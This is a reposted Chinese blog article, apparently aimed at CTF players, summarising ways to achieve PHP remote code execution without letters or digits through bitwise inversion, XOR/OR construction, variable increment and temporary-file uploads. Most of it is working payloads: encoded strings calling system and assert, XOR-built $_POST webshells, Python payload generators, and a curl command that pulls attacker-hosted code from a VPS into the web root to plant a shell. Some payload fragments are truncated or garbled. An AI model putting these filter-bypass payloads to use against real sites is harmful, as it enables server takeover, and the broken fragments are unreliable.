文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

无数字字母rce总结(取反、异或、自增、临时文件)

2023-09-03 13:44

关注

目录

取反

异或

自增

临时文件


大概思路有取反、异或、自增,临时文件

推荐文章无字母数字webshell总结 - 先知社区

取反

如图示,对phpinfo取反,再取反,仍然得到phpinfo,但是可以利用它进行一些对数字字母过滤的绕过

paylaod: (~%8F%97%8F%96%91%99%90)();

像这样:

shell:

(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);

异或

这里有一个异或构造的脚本, 相信聪明的你一看就知道怎么回事了

valid = "1234567890!@$%^*(){}[];\'\",.<>/?-=_`~ "​answer = str(input("请输入进行异或构造的字符串:"))​tmp1, tmp2 = '', ''for c in answer:  for i in valid:    for j in valid:      if (ord(i) ^ ord(j) == ord(c)):        tmp1 += i        tmp2 += j        break    else:      continue    breakprint("tmp1为:",tmp1)print("tmp2为:",tmp2)

那么怎么利用呢?

var_dump('#'^'|'); //得到字符 _var_dump('.'^'~'); //得到字符 P    var_dump('/'^'`'); //得到字符 0    var_dump('|'^'/'); //得到字符 S    var_dump('{'^'/'); //得到字符 T    $__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");  //变量$__值为字符串'_POST'
mess=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);&_=print_r(show_source('p.php'));​
​//需要注意的是,由于我们的Payload中含有一些特殊字符,我们我们需要对Payload进行一次URL编码。

像这样:

${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=命令或函数  
${"`{{{"^"?<>/"}['+']();&+=命令   //$_GET[+]

参考ctfshow web141

payload大概这个样:

?v1=1&v2=1&v3=%2b("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")%2b

import recontent = ''preg = '[a-z]|[0-9]' # 题目过滤正则# 生成字典for i in range(256):    for j in range(256):        if not (re.match(preg, chr(i), re.I) or re.match(preg, chr(j), re.I)):            k = i | j            if 32 <= k <= 126:                a = '%' + hex(i)[2:].zfill(2)                b = '%' + hex(j)[2:].zfill(2)                content += (chr(k) + ' ' + a + ' ' + b + '\n')f = open('rce_or.txt', 'w')f.write(content)while True:    payload1 = ''    payload2 = ''    code = input("data:")    for i in code:        f = open('rce_or.txt')        lines = f.readlines()        for line in lines:            if i == line[0]:                payload1 = payload1 + line[2:5]                payload2 = payload2 + line[6:9]                break    payload = '("'+payload1+'"|"'+payload2+'")'    print("payload: "+ payload)

自增

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字 
"A"++ ==> "B""B"++ ==> "C"

也就是说,如果我们能够得到"A",那么我们就能通过自增自减,得到所有的字母。 那么问题就转化为怎么得到一个字符"A"。在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为"Array"。再取这个字符串的第一个字母,就可以获得"A"。

$++对变量进行了自增操作,由于我们没有定义的值,PHP会给赋一个默认值NULL==0,由此我们可以看出,我们可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字

payload:

临时文件

临时文件目录:

Linux临时文件主要存储在/tmp/目录下,格式通常是(/tmp/php[6个随机字符]

Windows临时文件主要存储在C:/Windows/目录下,格式通常是(C:/Windows/php[4个随机字符].tmp

大概就是在自己的vps上写一个命令执行的txt,然后在题目post该命令

 curl http://your_vps/1.txt > /var/www/html/1.php

然后 ?cmd=?>

为什么可以这样执行呢?因为在linux里,如果一个文件里有命令,是可以通过这个文件名执行命令的,这里我们相当于使用临时文件执行了命令

报文:

POST /?cmd=?>> /var/www/html/Demo.php-----------------------------5642920497686823912130808832--

这样就会把dd.txt里的内容以php的形式写入到网站服务器里。完成getshell。

来源地址:https://blog.csdn.net/qq_61778128/article/details/127063407

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯